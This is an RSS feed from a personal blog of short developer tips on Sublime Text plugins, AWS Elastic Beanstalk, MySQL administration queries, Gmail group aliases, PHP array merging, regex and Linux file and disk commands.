<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>All Entries Archives - Sully Syed</title>
	<atom:link href="https://yllus.com/category/all-entries/feed/" rel="self" type="application/rss+xml" />
	<link>https://yllus.com/category/all-entries/</link>
	<description>Management executive, software developer and cyclist hailing from Toronto, Canada.</description>
	<lastBuildDate>Tue, 14 Oct 2025 18:18:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>Sublime Text: Add the ability to get a file&#8217;s relative project path to the Command Palette</title>
		<link>https://yllus.com/2025/10/14/sublime-text-add-the-ability-to-get-a-files-relative-project-path-to-the-command-palette/</link>
					<comments>https://yllus.com/2025/10/14/sublime-text-add-the-ability-to-get-a-files-relative-project-path-to-the-command-palette/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Tue, 14 Oct 2025 15:23:54 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3882</guid>

					<description><![CDATA[Often enough when I&#8217;m debugging an issue that doesn&#8217;t occur the same in the staging or production environment as it does on a development or local environment, like most developers I add debug statements on those environments to catch/view output <a href="https://yllus.com/2025/10/14/sublime-text-add-the-ability-to-get-a-files-relative-project-path-to-the-command-palette/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Often enough when I&#8217;m debugging an issue that doesn&#8217;t occur the same in the staging or production environment as it does on a development or local environment, like most developers I add debug statements on those environments to catch/view output from various function calls.</p>
<p>Navigating the files in a complex project eats up significant time; since you&#8217;ve likely got the file that needs debug statements sitting open locally in Sublime Text, here&#8217;s a little Command Palette addition to copy the relative path (to project root) of the current file to your clipboard:</p>
<h3>Step #1: Create the Plugin</h3>
<ol>
<li>In Sublime Text, go to <code>Tools</code> &gt; <code>Developer</code> &gt; <code>New Plugin…</code></li>
<li>Replace the default code with the contents as shown below.</li>
<li>Save the plugin with a name like <code>copy_relative_path.py</code> in your <code>Packages/User</code> directory.</li>
</ol>
<pre class="brush: plain; title: copy_relative_path.py; notranslate">
import sublime
import sublime_plugin
import os

class CopyRelativeFilePathCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        window = self.view.window()
        file_path = self.view.file_name()
        project_data = window.project_data()

        if not file_path or not project_data:
            sublime.status_message(&quot;No file or project data available.&quot;)
            return

        folders = window.folders()
        for folder in folders:
            if file_path.startswith(folder):
                relative_path = os.path.relpath(file_path, folder)
                sublime.set_clipboard(relative_path)
                sublime.status_message(f&quot;Copied: {relative_path}&quot;)
                return

        sublime.status_message(&quot;File not in project folder.&quot;)
</pre>
<h3>Step #2: Add Plugin to Command Palette</h3>
<ol start="1">
<li><strong>Open your User package folder</strong> In Sublime Text, go to <code>Preferences</code> &gt; <code>Browse Packages…</code> and open the <code>User</code> folder.</li>
<li><strong>Create a new file named</strong> <code>copy_relative_path.sublime-commands</code>with the contents as shown below.
<ul>
<li><code>"caption"</code> is what will appear in the Command Palette.</li>
<li><code>"command"</code> must match the name of the command class you defined in your plugin (<code>copy_relative_file_path</code>).</li>
</ul>
</li>
<li><strong>Save the file</strong> and restart Sublime Text (or just use the Command Palette).</li>
</ol>
<pre class="brush: plain; title: copy_relative_path.sublime-commands; notranslate">
&#x5B;
  {
    &quot;caption&quot;: &quot;Copy Relative File Path to Project Root&quot;,
    &quot;command&quot;: &quot;copy_relative_file_path&quot;
  }
]
</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2025/10/14/sublime-text-add-the-ability-to-get-a-files-relative-project-path-to-the-command-palette/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Fixing AWS Elastic Beanstalk&#8217;s &#8220;could not parse environment variables&#8221; error for /opt/elasticbeanstalk/bin/get-config</title>
		<link>https://yllus.com/2025/08/16/fixing-aws-elastic-beanstalks-could-not-parse-environment-variables-error-for-opt-elasticbeanstalk-bin-get-config/</link>
					<comments>https://yllus.com/2025/08/16/fixing-aws-elastic-beanstalks-could-not-parse-environment-variables-error-for-opt-elasticbeanstalk-bin-get-config/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 16 Aug 2025 20:48:41 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3872</guid>

					<description><![CDATA[When deploying Laravel and WordPress to AWS Elastic Beanstalk, creating an .env file or just making use of environment variables is a common practice; however, Elastic Beanstalk tends to choke on string values of &#8220;null&#8221; and often returns the error <a href="https://yllus.com/2025/08/16/fixing-aws-elastic-beanstalks-could-not-parse-environment-variables-error-for-opt-elasticbeanstalk-bin-get-config/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>When deploying Laravel and WordPress to AWS Elastic Beanstalk, creating an .env file or just making use of environment variables is a common practice; however, Elastic Beanstalk tends to choke on string values of &#8220;null&#8221; and often returns the error message <em>could not parse environment variables</em>.</p>
<p>To resolve this issue, run the following command:</p>
<pre class="brush: plain; title: ; notranslate">
/opt/elasticbeanstalk/bin/get-config optionsettings
</pre>
<p>Look for any string values that seem like they would cause an issue, but especially string values that look like &#8220;null&#8221;; if found, run using your eb CLI command (assuming REDIS_PASSWORD is at fault):</p>
<pre class="brush: plain; title: ; notranslate">
eb setenv REDIS_PASSWORD=&#039;&#039;
</pre>
<p>Reference:</p>
<ul>
<li><a href="https://lightrun.com/answers/aws-aws-elastic-beanstalk-cli-could-not-parse-environment-variables">Lightrun: could not parse environment variables</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2025/08/16/fixing-aws-elastic-beanstalks-could-not-parse-environment-variables-error-for-opt-elasticbeanstalk-bin-get-config/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Creating another MySQL superuser on Amazon Aurora or Amazon RDS</title>
		<link>https://yllus.com/2025/08/15/creating-another-mysql-superuser-on-amazon-aurora-or-amazon-rds/</link>
					<comments>https://yllus.com/2025/08/15/creating-another-mysql-superuser-on-amazon-aurora-or-amazon-rds/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Fri, 15 Aug 2025 18:48:44 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3868</guid>

					<description><![CDATA[Normally, creating a second (or third, fourth&#8230;) MySQL superuser who has all available database privileges is as simple as executing: GRANT ALL PRIVILEGES ON *.* TO &#039;newuser&#039;@&#039;%&#039; IDENTIFIED BY &#039;password&#039;; However, MySQL database in Amazon RDS and Amazon Aurora only <a href="https://yllus.com/2025/08/15/creating-another-mysql-superuser-on-amazon-aurora-or-amazon-rds/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Normally, creating a second (or third, fourth&#8230;) MySQL superuser who has all available database privileges is as simple as executing:</p>
<pre class="brush: plain; title: ; notranslate">
GRANT ALL PRIVILEGES ON *.* TO &#039;newuser&#039;@&#039;%&#039; IDENTIFIED BY &#039;password&#039;;
</pre>
<p>However, MySQL database in Amazon RDS and Amazon Aurora only allow one superuser to exist; however, you can neatly replicate the effect of having a superuser (the same full set of privileges) by modifying your SQL query to the following:</p>
<pre class="brush: plain; title: ; notranslate">
GRANT EXECUTE, PROCESS, SELECT, SHOW DATABASES, SHOW VIEW, ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, DELETE, CREATE VIEW, INDEX, EVENT, DROP, TRIGGER, REFERENCES, INSERT, CREATE USER, UPDATE, RELOAD, LOCK TABLES, REPLICATION SLAVE, REPLICATION CLIENT, CREATE TEMPORARY TABLES ON *.* TO &#039;newuser&#039;@&#039;%&#039; WITH GRANT OPTION;
</pre>
<p>References:</p>
<ul>
<li><a href="https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/UsingWithRDS.MasterAccounts.html">User Guide for Aurora: Master user account privileges</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2025/08/15/creating-another-mysql-superuser-on-amazon-aurora-or-amazon-rds/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Google Workspace Group Email Delegates: Sending on behalf of a Group mailing list</title>
		<link>https://yllus.com/2025/08/07/google-workspace-group-email-delegates-sending-on-behalf-of-a-group-mailing-list/</link>
					<comments>https://yllus.com/2025/08/07/google-workspace-group-email-delegates-sending-on-behalf-of-a-group-mailing-list/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Thu, 07 Aug 2025 13:19:58 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Business]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3866</guid>

					<description><![CDATA[On Google Workspace, to allow a User to send an email on behalf of a group (like allowing Sully Syed to send an email from contact@yllus.com), do the following: Go to Gmail on the web ( https://mail.google.com/mail/u/0/#inbox ) and log <a href="https://yllus.com/2025/08/07/google-workspace-group-email-delegates-sending-on-behalf-of-a-group-mailing-list/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p data-renderer-start-pos="1">On Google Workspace, to allow a User to send an email on behalf of a group (like allowing Sully Syed to send an email from <a href="contact@yllus.com">contact@yllus.com</a>), do the following:</p>
<ol class="ak-ol" start="1" data-indent-level="1">
<li>
<p data-renderer-start-pos="159">Go to Gmail on the web ( <a class="_mizu1p6i _1ah31bk5 _ra3xnqa1 _128m1bk5 _1cvmnqa1 _4davt94y _4bfu18uv _1hms8stv _ajmmnqa1 _vchhusvi _syaz14q2 _ect41gqc _1a3b18uv _4fpr8stv _5goinqa1 _f8pj14q2 _9oik18uv _1bnxglyw _jf4cnqa1 _30l314q2 _1nrm18uv _c2waglyw _1iohnqa1 _9h8h16c2 _1053w7te _1ienw7te _n0fxw7te _1vhvg3x0" title="https://mail.google.com/mail/u/0/#inbox" href="https://mail.google.com/mail/u/0/#inbox" data-renderer-mark="true" data-is-router-link="false" data-testid="link-with-safety">https://mail.google.com/mail/u/0/#inbox</a> ) and log in.</p>
</li>
<li>
<p data-renderer-start-pos="241">Click the <strong data-renderer-mark="true">gear</strong> icon in the upper-right and then click <strong data-renderer-mark="true">See all settings</strong>.</p>
</li>
<li>
<p data-renderer-start-pos="316">Click <strong data-renderer-mark="true">Accounts</strong> and in the <strong data-renderer-mark="true">Send Mail As</strong> section, click <strong data-renderer-mark="true">Add another email</strong> address.</p>
</li>
<li>
<p data-renderer-start-pos="400">Enter the name &#8220;yllus.com Information&#8221; and email address <strong>contact@yllus.com</strong>, leave <strong data-renderer-mark="true">Treat as an alias</strong> checked, and click <strong data-renderer-mark="true">Next step</strong>.</p>
</li>
<li>
<p data-renderer-start-pos="539">Click the <strong data-renderer-mark="true">Send Verification</strong> button to receive an email confirmation. This message will go to the Group and thus your inbox.</p>
</li>
<li>
<p data-renderer-start-pos="666">Click the verification link, and click the <strong data-renderer-mark="true">Confirm</strong> button when prompted.</p>
</li>
<li>
<p data-renderer-start-pos="742">With that all done, do a hard refresh (F5 / Ctrl-R) to reload Gmail. Then start composing an email; you&#8217;ll notice you can select either your Gmail account or your Google Group email address as the sender in the From field. This also works when replying to incoming emails.</p>
</li>
</ol>
<p data-renderer-start-pos="1018">Source: <span data-inline-card="true" data-card-url="https://help.lafayette.edu/sending-from-a-google-group-address-in-gmail/" data-annotation-inline-node="true" data-annotation-mark="true" data-renderer-start-pos="1026"><span class="loader-wrapper"><a class="_1yt4x7n9 _2rkoiti9 _v56415x0 _1e0c1nu9 _16d9qvcn _syaz14q2 _1rkwglyw _4cvx15qp _19itzgxb _bfhkhp5a _1a3b18uv _4fprglyw _5goinqa1 _9oik18uv _1bnxglyw _jf4cnqa1 _1nrm18uv _c2waglyw _1iohnqa1 _uizt1kdv _nt751r31 _49pcglyw _1hvw1o36 _1372tlke _7ehi1s3c _1j5pglyw _1di6fg4m" tabindex="0" role="button" href="https://help.lafayette.edu/sending-from-a-google-group-address-in-gmail/" data-testid="inline-card-resolved-view"><span class="_19itglyw _vchhusvi _r06hglyw _o5721jtm _1nmz9jpi _16d9qvcn _ca0qv77o _u5f31b66 _n3tdv77o _19bv1b66" data-testid="inline-card-icon-and-title"><span class="_19itglyw _vchhusvi _r06hglyw">Sending from a Google Group address in Gmail &#8211; Technology Help</span></span></a></span></span></p>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2025/08/07/google-workspace-group-email-delegates-sending-on-behalf-of-a-group-mailing-list/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Get your MySQL table sizes in MB via a SQL query</title>
		<link>https://yllus.com/2023/11/27/get-your-mysql-table-sizes-in-mb-via-a-sql-query/</link>
					<comments>https://yllus.com/2023/11/27/get-your-mysql-table-sizes-in-mb-via-a-sql-query/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Mon, 27 Nov 2023 17:48:33 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[Software Development]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3472</guid>

					<description><![CDATA[Figuring out what tables are making your database excessively large can be really helpful when working with production database exports and keeping various environments up to date. This SQL query outputs that information for all databases on a given server: <a href="https://yllus.com/2023/11/27/get-your-mysql-table-sizes-in-mb-via-a-sql-query/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Figuring out what tables are making your database excessively large can be really helpful when working with production database exports and keeping various environments up to date. This SQL query outputs that information for all databases on a given server:</p>
<pre class="brush: plain; title: ; notranslate">
SELECT
	table_schema AS `Database`,
	table_name AS `Table`,
	ROUND(((data_length + index_length) / 1024 / 1024), 2) AS `Size in MB`
FROM information_schema.TABLES
ORDER BY table_schema, (data_length + index_length) DESC;
</pre>
<p>Reference:</p>
<ul>
<li><a href="https://stackoverflow.com/a/9620273">How to get the sizes of the tables of a MySQL database?</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2023/11/27/get-your-mysql-table-sizes-in-mb-via-a-sql-query/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Generate MySQL INSERT statements for a few existing records</title>
		<link>https://yllus.com/2023/10/31/generate-mysql-insert-statements-for-a-few-existing-records/</link>
					<comments>https://yllus.com/2023/10/31/generate-mysql-insert-statements-for-a-few-existing-records/#comments</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Tue, 31 Oct 2023 19:23:51 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[Software Development]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3464</guid>

					<description><![CDATA[Occasionally, you&#8217;ll want to duplicate a couple of records from your production MySQL database for local use without dumping the entire table (which could be huge). As a solution, the mysqldump command allows you to specify a table and a <a href="https://yllus.com/2023/10/31/generate-mysql-insert-statements-for-a-few-existing-records/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Occasionally, you&#8217;ll want to duplicate a couple of records from your production MySQL database for local use without dumping the entire table (which could be huge). As a solution, the <strong>mysqldump</strong> command allows you to specify a table and a WHERE query for that table, allowing you to select specific record ID #s and retrieve only those records as INSERT statements:</p>
<pre class="brush: plain; title: ; notranslate">
mysqldump -h {host} -P {port} -u {username} -p{password} {database_name} {table_name} --where=&quot;ID = 1&quot; --no-create-info --no-create-db
</pre>
<p>Reference:</p>
<ul>
<li><a href="https://stackoverflow.com/a/13760493/1290232">Stack Overflow: Get Insert Statement for existing row in MySQL</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2023/10/31/generate-mysql-insert-statements-for-a-few-existing-records/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Import Environics demographics data into a SQL database via Laravel CLI command</title>
		<link>https://yllus.com/2023/04/17/import-environics-demographics-data-into-a-sql-database/</link>
					<comments>https://yllus.com/2023/04/17/import-environics-demographics-data-into-a-sql-database/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Mon, 17 Apr 2023 16:06:17 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3431</guid>

					<description><![CDATA[Environics Analytics provides incredibly useful demographics, psychographics and segmentation data for Canada, but the raw data is challenging if the goal is to use it in a general SQL query: The raw data is in one file, the meanings of <a href="https://yllus.com/2023/04/17/import-environics-demographics-data-into-a-sql-database/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p><a href="https://environicsanalytics.com/en-ca">Environics Analytics</a> provides incredibly useful demographics, psychographics and segmentation data for Canada, but the raw data is challenging if the goal is to use it in a general SQL query: The raw data is in one file, the meanings of the columns are in a &#8216;metadata&#8217; file, and the data provided doesn&#8217;t necessarily just list postal codes but other geographic areas as well.</p>
<p>Linked below is a Laravel CLI command that outputs a .SQL file that will handle the creation and insertion of data and definitions for you. The CLI command is invoked as follows:</p>
<pre class="brush: plain; title: ; notranslate">
php artisan environics_demographics:import {csv_demographics_definitions} {csv_demographics_data} {year_demographics_data} {dir_output_data}
</pre>
<p>Find the full script <a href="https://gist.github.com/yllus/3fabc5e2597c7f452290f27330ac4feb">on GitHub Gist</a>, or below:</p>
<p><script src="https://gist.github.com/yllus/3fabc5e2597c7f452290f27330ac4feb.js"></script></p>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2023/04/17/import-environics-demographics-data-into-a-sql-database/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Merge a PHP array without duplicates (array_merge_recursive_distinct)</title>
		<link>https://yllus.com/2023/01/05/merge-a-php-array-without-duplicates/</link>
					<comments>https://yllus.com/2023/01/05/merge-a-php-array-without-duplicates/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Thu, 05 Jan 2023 18:03:50 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3391</guid>

					<description><![CDATA[Often enough in PHP, you&#8217;ll grab objects from a variety of sources and want to merge them into a single array of results. To merge without duplicates, add the following function to your codebase and make use of array_merge_recursive_distinct the <a href="https://yllus.com/2023/01/05/merge-a-php-array-without-duplicates/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Often enough in PHP, you&#8217;ll grab objects from a variety of sources and want to merge them into a single array of results. To merge without duplicates, add the following function to your codebase and make use of <strong>array_merge_recursive_distinct</strong> the same way you would <a href="https://www.php.net/manual/en/function.array-merge-recursive.php"><strong>array_merge_recursive</strong></a>:</p>
<pre class="brush: plain; title: ; notranslate">
// From: https://www.php.net/manual/en/function.array-merge-recursive.php#92195
if (! function_exists('array_merge_recursive_distinct')) {
    /**
     * @param array&lt;int|string, mixed&gt; $array1
     * @param array&lt;int|string, mixed&gt; $array2
     *
     * @return array&lt;int|string, mixed&gt;
     */
    function array_merge_recursive_distinct(array &amp;$array1, array &amp;$array2): array
    {
        $merged = $array1;
        foreach ($array2 as $key =&gt; &amp;$value) {
            if (is_array($value) &amp;&amp; isset($merged&#x5B;$key]) &amp;&amp; is_array($merged&#x5B;$key])) {
                $merged&#x5B;$key] = array_merge_recursive_distinct($merged&#x5B;$key], $value);
            } else {
                $merged&#x5B;$key] = $value;
            }
        }

        return $merged;
    }
}
</pre>
<p>Reference:</p>
<ul>
<li><a href="https://www.php.net/manual/en/function.array-merge-recursive.php#92195">https://www.php.net/manual/en/function.array-merge-recursive.php#92195</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2023/01/05/merge-a-php-array-without-duplicates/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Upgrade a deprecated AWS Elastic Beanstalk environment in place using the CLI</title>
		<link>https://yllus.com/2022/09/26/upgrade-a-deprecated-aws-elastic-beanstalk-environment-in-place-using-the-cli/</link>
					<comments>https://yllus.com/2022/09/26/upgrade-a-deprecated-aws-elastic-beanstalk-environment-in-place-using-the-cli/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Mon, 26 Sep 2022 15:43:57 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3354</guid>

					<description><![CDATA[When a major PHP version change (eg. 5.7 to 7.0, or 7.0 to 8.0) occurs, Amazon AWS Elastic Beanstalk typically does not allow for automated platform version updates but instead requires the cloning of an interface and a CNAME switch. <a href="https://yllus.com/2022/09/26/upgrade-a-deprecated-aws-elastic-beanstalk-environment-in-place-using-the-cli/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>When a major PHP version change (eg. 5.7 to 7.0, or 7.0 to 8.0) occurs, Amazon AWS Elastic Beanstalk typically does not allow for automated platform version updates but instead requires the cloning of an interface and a CNAME switch. For less available environments, use the following steps to upgrade-in-place using the AWS command line interface:</p>
<ol>
<li>Take a look at the <a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.PHP">list of currently supported PHP platforms</a> on Elastic Beanstalk; you&#8217;ll want to decide which Solution Stack Name (eg. &#8220;64bit Amazon Linux 2 v3.4.1 running PHP 8.1&#8221;) corresponds to the platform you wish to upgrade to.</li>
<li>In the Elastic Beanstalk web configuration page, get the environment ID for the environment you wish to upgrade (eg. &#8220;e-jwfjvy57r3&#8221;).</li>
<li>Run the aws command to upgrade the environment in place:<br />
<code>aws elasticbeanstalk update-environment --solution-stack-name "64bit Amazon Linux 2 v3.4.1 running PHP 8.1" --environment-id "e-2iuwivbgzc" --region "ca-central-1"</code></li>
</ol>
<p>Reference:</p>
<ul>
<li><a href="https://www.bluekeyboard.com/2022/04/14/how-to-update-php-versions-on-elastic-beanstalk-environments/">Blue Keyboard &#8211; How to update PHP versions on Elastic Beanstalk environments</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2022/09/26/upgrade-a-deprecated-aws-elastic-beanstalk-environment-in-place-using-the-cli/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Regular expressions: Find instances when the string does not equal a certain value</title>
		<link>https://yllus.com/2021/11/20/regular-expressions-find-instances-when-the-string-does-not-equal-a-certain-value/</link>
					<comments>https://yllus.com/2021/11/20/regular-expressions-find-instances-when-the-string-does-not-equal-a-certain-value/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 20 Nov 2021 16:14:33 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3340</guid>

					<description><![CDATA[Another typical regex scenario: You&#8217;re looking through some data (like a JSON object) and are looking for when a value is actually being set. Let&#8217;s say our string contains: &#34;puttLength&#34;: null, Typically, you&#8217;d write a regular expression to capture the <a href="https://yllus.com/2021/11/20/regular-expressions-find-instances-when-the-string-does-not-equal-a-certain-value/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Another typical regex scenario: You&#8217;re looking through some data (like a JSON object) and are looking for when a value is actually being set. Let&#8217;s say our string contains:</p>
<pre class="brush: plain; title: ; notranslate">
&quot;puttLength&quot;: null, 
</pre>
<p>Typically, you&#8217;d write a regular expression to capture the &lt;em&gt; tag by writing this:&lt;/em&gt;</p>
<pre class="brush: plain; title: ; notranslate">
&quot;puttLength&quot;: ((?!null).)*$
</pre>
<p>The use of ?! is the instruction to make a negative lookahead match, ensuring null does not exist before the line can be returned as a match. A terrific example / tool to test in your browser exists at https://www.regextester.com/15 .</p>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2021/11/20/regular-expressions-find-instances-when-the-string-does-not-equal-a-certain-value/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Measure current IOPS usage on a Linux server</title>
		<link>https://yllus.com/2021/08/11/measure-current-iops-usage-on-a-linux-server/</link>
					<comments>https://yllus.com/2021/08/11/measure-current-iops-usage-on-a-linux-server/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Wed, 11 Aug 2021 13:10:06 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Software Development]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3333</guid>

					<description><![CDATA[This is most easily measured by installing the sysstat package: sudo yum install sysstat -y And running the sar command, looking at the value of tps: sar -d 1]]></description>
										<content:encoded><![CDATA[<p>This is most easily measured by installing the <strong>sysstat</strong> package:</p>
<pre class="brush: plain; title: ; notranslate">
sudo yum install sysstat -y
</pre>
<p>And running the <strong>sar</strong> command, looking at the value of <strong>tps</strong>:</p>
<pre class="brush: plain; title: ; notranslate">
sar -d 1
</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2021/08/11/measure-current-iops-usage-on-a-linux-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Getting a recursive list of files sorted by last modified date in Linux</title>
		<link>https://yllus.com/2021/08/06/getting-a-recursive-list-of-files-sorted-by-last-modified-date-in-linux/</link>
					<comments>https://yllus.com/2021/08/06/getting-a-recursive-list-of-files-sorted-by-last-modified-date-in-linux/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Fri, 06 Aug 2021 18:59:37 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[Software Development]]></category>
		<guid isPermaLink="false">https://yllus.com/?p=3331</guid>

					<description><![CDATA[Here&#8217;s a quick way to get a recursive list of files, sorted in descending order by the last modified date, from any folder in *nix: find . -type f -printf &#34;%T@ %p&#92;&#48;&#34; &#124; sort -zk1nr &#124; xargs -0 printf &#34;%s\n&#34;]]></description>
										<content:encoded><![CDATA[<p>Here&#8217;s a quick way to get a recursive list of files, sorted in descending order by the last modified date, from any folder in *nix:</p>
<pre class="brush: plain; title: ; notranslate">
find . -type f -printf &quot;%T@ %p&#92;&#48;&quot; | sort -zk1nr | xargs -0 printf &quot;%s\n&quot;
</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2021/08/06/getting-a-recursive-list-of-files-sorted-by-last-modified-date-in-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Alpha males and females are the most empathetic&#8230; and the most stressed</title>
		<link>https://yllus.com/2020/07/25/alpha-males-and-females-are-the-most-empathetic/</link>
					<comments>https://yllus.com/2020/07/25/alpha-males-and-females-are-the-most-empathetic/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 25 Jul 2020 15:25:20 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3259</guid>

					<description><![CDATA[A few months ago I was struck by the mention of a study of chimpanzee society that found that the leader tended to demonstrate deep caring and empathy for members of their pack; empathy ultimately being a necessary aspect of <a href="https://yllus.com/2020/07/25/alpha-males-and-females-are-the-most-empathetic/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[
<p>A few months ago I was struck by the mention of a study of chimpanzee society that found that the leader tended to demonstrate deep caring and empathy for members of their pack; empathy ultimately being a necessary aspect of their personality that benefited their ability to rise and maintain a leadership position. Below, Leo Widrich has a terrific summary of the phenomenon:</p>



